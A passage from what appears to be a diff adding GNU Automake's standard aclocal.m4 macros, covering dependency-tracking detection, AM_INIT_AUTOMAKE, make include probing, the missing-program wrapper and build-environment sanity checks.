course, Automake must honor this variable whenever it calls a +# tool from the auxiliary directory. The problem is that $srcdir (and +# therefore $ac_aux_dir as well) can be either absolute or relative, +# depending on how configure is run. This is pretty annoying, since +# it makes $ac_aux_dir quite unusable in subdirectories: in the top +# source directory, any form will work fine, but in subdirectories a +# relative path needs to be adjusted first. +# +# $ac_aux_dir/missing +# fails when called from a subdirectory if $ac_aux_dir is relative +# $top_srcdir/$ac_aux_dir/missing +# fails if $ac_aux_dir is absolute, +# fails when called from a subdirectory in a VPATH build with +# a relative $ac_aux_dir +# +# The reason of the latter failure is that $top_srcdir and $ac_aux_dir +# are both prefixed by $srcdir. In an in-source build this is usually +# harmless because $srcdir is '.', but things will broke when you +# start a VPATH build or use an absolute $srcdir. +# +# So we could use something similar to $top_srcdir/$ac_aux_dir/missing, +# iff we strip the leading $srcdir from $ac_aux_dir. That would be: +# am_aux_dir='\$(top_srcdir)/'`expr "$ac_aux_dir" : "$srcdir//*\(.*\)"` +# and then we would define $MISSING as +# MISSING="\${SHELL} $am_aux_dir/missing" +# This will work as long as MISSING is not called from configure, because +# unfortunately $(top_srcdir) has no meaning in configure. +# However there are other variables, like CC, which are often used in +# configure, and could therefore not use this "fixed" $ac_aux_dir. +# +# Another solution, used here, is to always expand $ac_aux_dir to an +# absolute PATH. The drawback is that using absolute paths prevent a +# configured tree to be moved without reconfiguration. + +AC_DEFUN([AM_AUX_DIR_EXPAND], +[AC_REQUIRE([AC_CONFIG_AUX_DIR_DEFAULT])dnl +# Expand $ac_aux_dir to an absolute path. +am_aux_dir=`cd "$ac_aux_dir" && pwd` +]) + +# AM_CONDITIONAL -*- Autoconf -*- + +# Copyright (C) 1997-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_CONDITIONAL(NAME, SHELL-CONDITION) +# ------------------------------------- +# Define a conditional. +AC_DEFUN([AM_CONDITIONAL], +[AC_PREREQ([2.52])dnl + m4_if([$1], [TRUE], [AC_FATAL([$0: invalid condition: $1])], + [$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl +AC_SUBST([$1_TRUE])dnl +AC_SUBST([$1_FALSE])dnl +_AM_SUBST_NOTMAKE([$1_TRUE])dnl +_AM_SUBST_NOTMAKE([$1_FALSE])dnl +m4_define([_AM_COND_VALUE_$1], [$2])dnl +if $2; then + $1_TRUE= + $1_FALSE='#' +else + $1_TRUE='#' + $1_FALSE= +fi +AC_CONFIG_COMMANDS_PRE( +[if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then + AC_MSG_ERROR([[conditional "$1" was never defined. +Usually this means the macro was only invoked conditionally.]]) +fi])]) + +# Copyright (C) 1999-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + + +# There are a few dirty hacks below to avoid letting 'AC_PROG_CC' be +# written in clear, in which case automake, when reading aclocal.m4, +# will think it sees a *use*, and therefore will trigger all it's +# C support machinery. Also note that it means that autoscan, seeing +# CC etc. in the Makefile, will ask for an AC_PROG_CC use... + + +# _AM_DEPENDENCIES(NAME) +# ---------------------- +# See how the compiler implements dependency checking. +# NAME is "CC", "CXX", "OBJC", "OBJCXX", "UPC", or "GJC". +# We try a few techniques and use that to set a single cache variable. +# +# We don't AC_REQUIRE the corresponding AC_PROG_CC since the latter was +# modified to invoke _AM_DEPENDENCIES(CC); we would have a circular +# dependency, and given that the user is not expected to run this macro, +# just rely on AC_PROG_CC. +AC_DEFUN([_AM_DEPENDENCIES], +[AC_REQUIRE([AM_SET_DEPDIR])dnl +AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl +AC_REQUIRE([AM_MAKE_INCLUDE])dnl +AC_REQUIRE([AM_DEP_TRACK])dnl + +m4_if([$1], [CC], [depcc="$CC" am_compiler_list=], + [$1], [CXX], [depcc="$CXX" am_compiler_list=], + [$1], [OBJC], [depcc="$OBJC" am_compiler_list='gcc3 gcc'], + [$1], [OBJCXX], [depcc="$OBJCXX" am_compiler_list='gcc3 gcc'], + [$1], [UPC], [depcc="$UPC" am_compiler_list=], + [$1], [GCJ], [depcc="$GCJ" am_compiler_list='gcc3 gcc'], + [depcc="$$1" am_compiler_list=]) + +AC_CACHE_CHECK([dependency style of $depcc], + [am_cv_$1_dependencies_compiler_type], +[if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named 'D' -- because '-MD' means "put the output + # in D". + rm -rf conftest.dir + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_$1_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp` + fi + am__universal=false + m4_case([$1], [CC], + [case " $depcc " in #( + *\ -arch\ *\ -arch\ *) am__universal=true ;; + esac], + [CXX], + [case " $depcc " in #( + *\ -arch\ *\ -arch\ *) am__universal=true ;; + esac]) + + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with + # Solaris 10 /bin/sh. + echo '/* dummy */' > sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + # We check with '-c' and '-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle '-M -o', and we need to detect this. Also, some Intel + # versions had trouble with output in subdirs. + am__obj=sub/conftest.${OBJEXT-o} + am__minus_obj="-o $am__obj" + case $depmode in + gcc) + # This depmode causes a compiler race in universal mode. + test "$am__universal" = false || continue + ;; + nosideeffect) + # After this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested. + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + msvc7 | msvc7msys | msvisualcpp | msvcmsys) + # This compiler won't grok '-c -o', but also, the minuso test has + # not run yet. These depmodes are late enough in the game, and + # so weak that their functioning should not be impacted. + am__obj=conftest.${OBJEXT-o} + am__minus_obj= + ;; + none) break ;; + esac + if depmode=$depmode \ + source=sub/conftest.c object=$am__obj \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep $am__obj sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_$1_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_$1_dependencies_compiler_type=none +fi +]) +AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type]) +AM_CONDITIONAL([am__fastdep$1], [ + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_$1_dependencies_compiler_type" = gcc3]) +]) + + +# AM_SET_DEPDIR +# ------------- +# Choose a directory name for dependency files. +# This macro is AC_REQUIREd in _AM_DEPENDENCIES. +AC_DEFUN([AM_SET_DEPDIR], +[AC_REQUIRE([AM_SET_LEADING_DOT])dnl +AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl +]) + + +# AM_DEP_TRACK +# ------------ +AC_DEFUN([AM_DEP_TRACK], +[AC_ARG_ENABLE([dependency-tracking], [dnl +AS_HELP_STRING( + [--enable-dependency-tracking], + [do not reject slow dependency extractors]) +AS_HELP_STRING( + [--disable-dependency-tracking], + [speeds up one-time build])]) +if test "x$enable_dependency_tracking" != xno; then + am_depcomp="$ac_aux_dir/depcomp" + AMDEPBACKSLASH='\' + am__nodep='_no' +fi +AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno]) +AC_SUBST([AMDEPBACKSLASH])dnl +_AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl +AC_SUBST([am__nodep])dnl +_AM_SUBST_NOTMAKE([am__nodep])dnl +]) + +# Generate code to set up dependency tracking. -*- Autoconf -*- + +# Copyright (C) 1999-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_OUTPUT_DEPENDENCY_COMMANDS +# ------------------------------ +AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], +[{ + # Older Autoconf quotes --file arguments for eval, but not when files + # are listed without --file. Let's play safe and only enable the eval + # if we detect the quoting. + # TODO: see whether this extra hack can be removed once we start + # requiring Autoconf 2.70 or later. + AS_CASE([$CONFIG_FILES], + [*\'*], [eval set x "$CONFIG_FILES"], + [*], [set x $CONFIG_FILES]) + shift + # Used to flag and report bootstrapping failures. + am_rc=0 + for am_mf + do + # Strip MF so we end up with the name of the file. + am_mf=`AS_ECHO(["$am_mf"]) | sed -e 's/:.*$//'` + # Check whether this is an Automake generated Makefile which includes + # dependency-tracking related rules and includes. + # Grep'ing the whole file directly is not great: AIX grep has a line + # limit of 2048, but all sed's we know have understand at least 4000. + sed -n 's,^am--depfiles:.*,X,p' "$am_mf" | grep X >/dev/null 2>&1 \ + || continue + am_dirpart=`AS_DIRNAME(["$am_mf"])` + am_filepart=`AS_BASENAME(["$am_mf"])` + AM_RUN_LOG([cd "$am_dirpart" \ + && sed -e '/# am--include-marker/d' "$am_filepart" \ + | $MAKE -f - am--depfiles]) || am_rc=$? + done + if test $am_rc -ne 0; then + AC_MSG_FAILURE([Something went wrong bootstrapping makefile fragments + for automatic dependency tracking. If GNU make was not used, consider + re-running the configure script with MAKE="gmake" (or whatever is + necessary). You can also try re-running configure with the + '--disable-dependency-tracking' option to at least be able to build + the package (albeit without support for automatic dependency tracking).]) + fi + AS_UNSET([am_dirpart]) + AS_UNSET([am_filepart]) + AS_UNSET([am_mf]) + AS_UNSET([am_rc]) + rm -f conftest-deps.mk +} +])# _AM_OUTPUT_DEPENDENCY_COMMANDS + + +# AM_OUTPUT_DEPENDENCY_COMMANDS +# ----------------------------- +# This macro should only be invoked once -- use via AC_REQUIRE. +# +# This code is only required when automatic dependency tracking is enabled. +# This creates each '.Po' and '.Plo' makefile fragment that we'll need in +# order to bootstrap the dependency handling code. +AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], +[AC_CONFIG_COMMANDS([depfiles], + [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS], + [AMDEP_TRUE="$AMDEP_TRUE" MAKE="${MAKE-make}"])]) + +# Do all the work for Automake. -*- Autoconf -*- + +# Copyright (C) 1996-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This macro actually does too much. Some checks are only needed if +# your package does certain things. But this isn't really a big deal. + +dnl Redefine AC_PROG_CC to automatically invoke _AM_PROG_CC_C_O. +m4_define([AC_PROG_CC], +m4_defn([AC_PROG_CC]) +[_AM_PROG_CC_C_O +]) + +# AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE]) +# AM_INIT_AUTOMAKE([OPTIONS]) +# ----------------------------------------------- +# The call with PACKAGE and VERSION arguments is the old style +# call (pre autoconf-2.50), which is being phased out. PACKAGE +# and VERSION should now be passed to AC_INIT and removed from +# the call to AM_INIT_AUTOMAKE. +# We support both call styles for the transition. After +# the next Automake release, Autoconf can make the AC_INIT +# arguments mandatory, and then we can depend on a new Autoconf +# release and drop the old call support. +AC_DEFUN([AM_INIT_AUTOMAKE], +[AC_PREREQ([2.65])dnl +m4_ifdef([_$0_ALREADY_INIT], + [m4_fatal([$0 expanded multiple times +]m4_defn([_$0_ALREADY_INIT]))], + [m4_define([_$0_ALREADY_INIT], m4_expansion_stack)])dnl +dnl Autoconf wants to disallow AM_ names. We explicitly allow +dnl the ones we care about. +m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl +AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl +AC_REQUIRE([AC_PROG_INSTALL])dnl +if test "`cd $srcdir && pwd`" != "`pwd`"; then + # Use -I$(srcdir) only when $(srcdir) != ., so that make's output + # is not polluted with repeated "-I." + AC_SUBST([am__isrc], [' -I$(srcdir)'])_AM_SUBST_NOTMAKE([am__isrc])dnl + # test to see if srcdir already configured + if test -f $srcdir/config.status; then + AC_MSG_ERROR([source directory already configured; run "make distclean" there first]) + fi +fi + +# test whether we have cygpath +if test -z "$CYGPATH_W"; then + if (cygpath --version) >/dev/null 2>/dev/null; then + CYGPATH_W='cygpath -w' + else + CYGPATH_W=echo + fi +fi +AC_SUBST([CYGPATH_W]) + +# Define the identity of the package. +dnl Distinguish between old-style and new-style calls. +m4_ifval([$2], +[AC_DIAGNOSE([obsolete], + [$0: two- and three-arguments forms are deprecated.]) +m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl + AC_SUBST([PACKAGE], [$1])dnl + AC_SUBST([VERSION], [$2])], +[_AM_SET_OPTIONS([$1])dnl +dnl Diagnose old-style AC_INIT with new-style AM_AUTOMAKE_INIT. +m4_if( + m4_ifset([AC_PACKAGE_NAME], [ok]):m4_ifset([AC_PACKAGE_VERSION], [ok]), + [ok:ok],, + [m4_fatal([AC_INIT should be called with package and version arguments])])dnl + AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl + AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])])dnl + +_AM_IF_OPTION([no-define],, +[AC_DEFINE_UNQUOTED([PACKAGE], ["$PACKAGE"], [Name of package]) + AC_DEFINE_UNQUOTED([VERSION], ["$VERSION"], [Version number of package])])dnl + +# Some tools Automake needs. +AC_REQUIRE([AM_SANITY_CHECK])dnl +AC_REQUIRE([AC_ARG_PROGRAM])dnl +AM_MISSING_PROG([ACLOCAL], [aclocal-${am__api_version}]) +AM_MISSING_PROG([AUTOCONF], [autoconf]) +AM_MISSING_PROG([AUTOMAKE], [automake-${am__api_version}]) +AM_MISSING_PROG([AUTOHEADER], [autoheader]) +AM_MISSING_PROG([MAKEINFO], [makeinfo]) +AC_REQUIRE([AM_PROG_INSTALL_SH])dnl +AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl +AC_REQUIRE([AC_PROG_MKDIR_P])dnl +# For better backward compatibility. To be removed once Automake 1.9.x +# dies out for good. For more background, see: +# +# +AC_SUBST([mkdir_p], ['$(MKDIR_P)']) +# We need awk for the "check" target (and possibly the TAP driver). The +# system "awk" is bad on some platforms. +AC_REQUIRE([AC_PROG_AWK])dnl +AC_REQUIRE([AC_PROG_MAKE_SET])dnl +AC_REQUIRE([AM_SET_LEADING_DOT])dnl +_AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])], + [_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])], + [_AM_PROG_TAR([v7])])]) +_AM_IF_OPTION([no-dependencies],, +[AC_PROVIDE_IFELSE([AC_PROG_CC], + [_AM_DEPENDENCIES([CC])], + [m4_define([AC_PROG_CC], + m4_defn([AC_PROG_CC])[_AM_DEPENDENCIES([CC])])])dnl +AC_PROVIDE_IFELSE([AC_PROG_CXX], + [_AM_DEPENDENCIES([CXX])], + [m4_define([AC_PROG_CXX], + m4_defn([AC_PROG_CXX])[_AM_DEPENDENCIES([CXX])])])dnl +AC_PROVIDE_IFELSE([AC_PROG_OBJC], + [_AM_DEPENDENCIES([OBJC])], + [m4_define([AC_PROG_OBJC], + m4_defn([AC_PROG_OBJC])[_AM_DEPENDENCIES([OBJC])])])dnl +AC_PROVIDE_IFELSE([AC_PROG_OBJCXX], + [_AM_DEPENDENCIES([OBJCXX])], + [m4_define([AC_PROG_OBJCXX], + m4_defn([AC_PROG_OBJCXX])[_AM_DEPENDENCIES([OBJCXX])])])dnl +]) +# Variables for tags utilities; see am/tags.am +if test -z "$CTAGS"; then + CTAGS=ctags +fi +AC_SUBST([CTAGS]) +if test -z "$ETAGS"; then + ETAGS=etags +fi +AC_SUBST([ETAGS]) +if test -z "$CSCOPE"; then + CSCOPE=cscope +fi +AC_SUBST([CSCOPE]) + +AC_REQUIRE([AM_SILENT_RULES])dnl +dnl The testsuite driver may need to know about EXEEXT, so add the +dnl 'am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This +dnl macro is hooked onto _AC_COMPILER_EXEEXT early, see below. +AC_CONFIG_COMMANDS_PRE(dnl +[m4_provide_if([_AM_COMPILER_EXEEXT], + [AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])])])dnl + +# POSIX will say in a future version that running "rm -f" with no argument +# is OK; and we want to be able to make that assumption in our Makefile +# recipes. So use an aggressive probe to check that the usage we want is +# actually supported "in the wild" to an acceptable degree. +# See automake bug#10828. +# To make any issue more visible, cause the running configure to be aborted +# by default if the 'rm' program in use doesn't match our expectations; the +# user can still override this though. +if rm -f && rm -fr && rm -rf; then : OK; else + cat >&2 <<'END' +Oops! + +Your 'rm' program seems unable to run without file operands specified +on the command line, even when the '-f' option is present. This is contrary +to the behaviour of most rm programs out there, and not conforming with +the upcoming POSIX standard: + +Please tell bug-automake@gnu.org about your system, including the value +of your $PATH and any error possibly output before this message. This +can help us improve future automake versions. + +END + if test x"$ACCEPT_INFERIOR_RM_PROGRAM" = x"yes"; then + echo 'Configuration will proceed anyway, since you have set the' >&2 + echo 'ACCEPT_INFERIOR_RM_PROGRAM variable to "yes"' >&2 + echo >&2 + else + cat >&2 <<'END' +Aborting the configuration process, to ensure you take notice of the issue. + +You can download and install GNU coreutils to get an 'rm' implementation +that behaves properly: . + +If you want to complete the configuration process using your problematic +'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM +to "yes", and re-run configure. + +END + AC_MSG_ERROR([Your 'rm' program is bad, sorry.]) + fi +fi +dnl The trailing newline in this macro's definition is deliberate, for +dnl backward compatibility and to allow trailing 'dnl'-style comments +dnl after the AM_INIT_AUTOMAKE invocation. See automake bug#16841. +]) + +dnl Hook into '_AC_COMPILER_EXEEXT' early to learn its expansion. Do not +dnl add the conditional right here, as _AC_COMPILER_EXEEXT may be further +dnl mangled by Autoconf and run in a shell conditional statement. +m4_define([_AC_COMPILER_EXEEXT], +m4_defn([_AC_COMPILER_EXEEXT])[m4_provide([_AM_COMPILER_EXEEXT])]) + +# When config.status generates a header, we must update the stamp-h file. +# This file resides in the same directory as the config header +# that is generated. The stamp files are numbered to have different names. + +# Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the +# loop where config.status creates the headers, so we can generate +# our stamp files there. +AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], +[# Compute $1's index in $config_headers. +_am_arg=$1 +_am_stamp_count=1 +for _am_header in $config_headers :; do + case $_am_header in + $_am_arg | $_am_arg:* ) + break ;; + * ) + _am_stamp_count=`expr $_am_stamp_count + 1` ;; + esac +done +echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count]) + +# Copyright (C) 2001-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_PROG_INSTALL_SH +# ------------------ +# Define $install_sh. +AC_DEFUN([AM_PROG_INSTALL_SH], +[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl +if test x"${install_sh+set}" != xset; then + case $am_aux_dir in + *\ * | *\ *) + install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; + *) + install_sh="\${SHELL} $am_aux_dir/install-sh" + esac +fi +AC_SUBST([install_sh])]) + +# Copyright (C) 2003-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# Check whether the underlying file-system supports filenames +# with a leading dot. For instance MS-DOS doesn't. +AC_DEFUN([AM_SET_LEADING_DOT], +[rm -rf .tst 2>/dev/null +mkdir .tst 2>/dev/null +if test -d .tst; then + am__leading_dot=. +else + am__leading_dot=_ +fi +rmdir .tst 2>/dev/null +AC_SUBST([am__leading_dot])]) + +# Check to see how 'make' treats includes. -*- Autoconf -*- + +# Copyright (C) 2001-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_MAKE_INCLUDE() +# ----------------- +# Check whether make has an 'include' directive that can support all +# the idioms we need for our automatic dependency tracking code. +AC_DEFUN([AM_MAKE_INCLUDE], +[AC_MSG_CHECKING([whether ${MAKE-make} supports the include directive]) +cat > confinc.mk << 'END' +am__doit: + @echo this is the am__doit target >confinc.out +.PHONY: am__doit +END +am__include="#" +am__quote= +# BSD make does it like this. +echo '.include "confinc.mk" # ignored' > confmf.BSD +# Other make implementations (GNU, Solaris 10, AIX) do it like this. +echo 'include confinc.mk # ignored' > confmf.GNU +_am_result=no +for s in GNU BSD; do + AM_RUN_LOG([${MAKE-make} -f confmf.$s && cat confinc.out]) + AS_CASE([$?:`cat confinc.out 2>/dev/null`], + ['0:this is the am__doit target'], + [AS_CASE([$s], + [BSD], [am__include='.include' am__quote='"'], + [am__include='include' am__quote=''])]) + if test "$am__include" != "#"; then + _am_result="yes ($s style)" + break + fi +done +rm -f confinc.* confmf.* +AC_MSG_RESULT([${_am_result}]) +AC_SUBST([am__include])]) +AC_SUBST([am__quote])]) + +# Fake the existence of programs that GNU maintainers use. -*- Autoconf -*- + +# Copyright (C) 1997-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_MISSING_PROG(NAME, PROGRAM) +# ------------------------------ +AC_DEFUN([AM_MISSING_PROG], +[AC_REQUIRE([AM_MISSING_HAS_RUN]) +$1=${$1-"${am_missing_run}$2"} +AC_SUBST($1)]) + +# AM_MISSING_HAS_RUN +# ------------------ +# Define MISSING if not defined so far and test if it is modern enough. +# If it is, set am_missing_run to use it, otherwise, to nothing. +AC_DEFUN([AM_MISSING_HAS_RUN], +[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl +AC_REQUIRE_AUX_FILE([missing])dnl +if test x"${MISSING+set}" != xset; then + MISSING="\${SHELL} '$am_aux_dir/missing'" +fi +# Use eval to expand $SHELL +if eval "$MISSING --is-lightweight"; then + am_missing_run="$MISSING " +else + am_missing_run= + AC_MSG_WARN(['missing' script is too old or missing]) +fi +]) + +# Helper functions for option handling. -*- Autoconf -*- + +# Copyright (C) 2001-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_MANGLE_OPTION(NAME) +# ----------------------- +AC_DEFUN([_AM_MANGLE_OPTION], +[[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])]) + +# _AM_SET_OPTION(NAME) +# -------------------- +# Set option NAME. Presently that only means defining a flag for this option. +AC_DEFUN([_AM_SET_OPTION], +[m4_define(_AM_MANGLE_OPTION([$1]), [1])]) + +# _AM_SET_OPTIONS(OPTIONS) +# ------------------------ +# OPTIONS is a space-separated list of Automake options. +AC_DEFUN([_AM_SET_OPTIONS], +[m4_foreach_w([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])]) + +# _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET]) +# ------------------------------------------- +# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. +AC_DEFUN([_AM_IF_OPTION], +[m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])]) + +# Copyright (C) 1999-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_PROG_CC_C_O +# --------------- +# Like AC_PROG_CC_C_O, but changed for automake. We rewrite AC_PROG_CC +# to automatically call this. +AC_DEFUN([_AM_PROG_CC_C_O], +[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl +AC_REQUIRE_AUX_FILE([compile])dnl +AC_LANG_PUSH([C])dnl +AC_CACHE_CHECK( + [whether $CC understands -c and -o together], + [am_cv_prog_cc_c_o], + [AC_LANG_CONFTEST([AC_LANG_PROGRAM([])]) + # Make sure it works both with $CC and with simple cc. + # Following AC_PROG_CC_C_O, we do the test twice because some + # compilers refuse to overwrite an existing .o file with -o, + # though they will create one. + am_cv_prog_cc_c_o=yes + for am_i in 1 2; do + if AM_RUN_LOG([$CC -c conftest.$ac_ext -o conftest2.$ac_objext]) \ + && test -f conftest2.$ac_objext; then + : OK + else + am_cv_prog_cc_c_o=no + break + fi + done + rm -f core conftest* + unset am_i]) +if test "$am_cv_prog_cc_c_o" != yes; then + # Losing compiler, so override with the script. + # FIXME: It is wrong to rewrite CC. + # But if we don't then we get into trouble of one sort or another. + # A longer-term fix would be to have automake use am__CC in this case, + # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" + CC="$am_aux_dir/compile $CC" +fi +AC_LANG_POP([C])]) + +# For backward compatibility. +AC_DEFUN_ONCE([AM_PROG_CC_C_O], [AC_REQUIRE([AC_PROG_CC])]) + +# Copyright (C) 2001-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_RUN_LOG(COMMAND) +# ------------------- +# Run COMMAND, save the exit status in ac_status, and log it. +# (This has been adapted from Autoconf's _AC_RUN_LOG macro.) +AC_DEFUN([AM_RUN_LOG], +[{ echo "$as_me:$LINENO: $1" >&AS_MESSAGE_LOG_FD + ($1) >&AS_MESSAGE_LOG_FD 2>&AS_MESSAGE_LOG_FD + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + (exit $ac_status); }]) + +# Check to make sure that the build environment is sane. -*- Autoconf -*- + +# Copyright (C) 1996-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_SANITY_CHECK +# --------------- +AC_DEFUN([AM_SANITY_CHECK], +[AC_MSG_CHECKING([whether build environment is sane]) +# Reject unsafe characters in $srcdir or the absolute working directory +# name. Accept space and tab only in the latter. +am_lf=' +' +case `pwd` in + *[[\\\"\#\$\&\'\`$am_lf]]*) + AC_MSG_ERROR([unsafe absolute working directory name]);; +esac +case $srcdir in + *[[\\\"\#\$\&\'\`$am_lf\ \ ]]*) + AC_MSG_ERROR([unsafe srcdir value: '$srcdir']);; +esac + +# Do 'set' in a subshell so we don't clobber the current shell's +# arguments. Must try -L first in case configure is actually a +# symlink; some systems play weird games with the mod time of symlinks +# (eg FreeBSD returns the mod time of the symlink's containing +# directory). +if ( + am_has_slept=no + for am_try in 1 2; do + echo "timestamp, slept: $am_has_slept" > conftest.file + set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` + if test "$[*]" = "X"; then + # -L didn't work. + set X `ls -t "$srcdir/configure" conftest.file` + fi + if test "$[*]" != "X $srcdir/configure conftest.file" \ + && test "$[*]" != "X conftest.file $srcdir/configure"; then + + # If neither matched, then we have a broken ls. This can happen + # if, for instance, CONFIG_SHELL is bash and it inherits a + # broken ls alias from the environment. This has actually + # happened. Such a system could not be considered "sane". + AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken + alias in your environment]) + fi + if test "$[2]" = conftest.file || test $am_try -eq 2; then + break + fi + # Just in case. + sleep 1 + am_has_slept=yes + done + test "$[2]" = conftest.file + ) +then + # Ok. + : +else + AC_MSG_ERROR([newly created file is older than distributed files! +Check your system clock]) +fi +AC_MSG_RESULT([yes]) +# If we didn't sleep, we still need to ensure time stamps of config.status and +# generated files are strictly newer. +am_sleep_pid= +if grep 'slept: no' conftest.file >/dev/null 2>&1; then + ( sleep 1 ) & + am_sleep_pid=$! +fi +AC_CONFIG_COMMANDS_PRE( + [AC_MSG_CHECKING([that generated files are newer than configure]) + if test -n "$am_sleep_pid"; then + # Hide warnings about reused PIDs. + wait $am_sleep_pid 2>/dev/null + fi + AC_MSG_RESULT([done])]) +rm -f conftest.file +]) + +# Copyright (C) 2009-2021 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_SILENT_RULES([DEFAULT]) +# -------------------------- +# Enable less 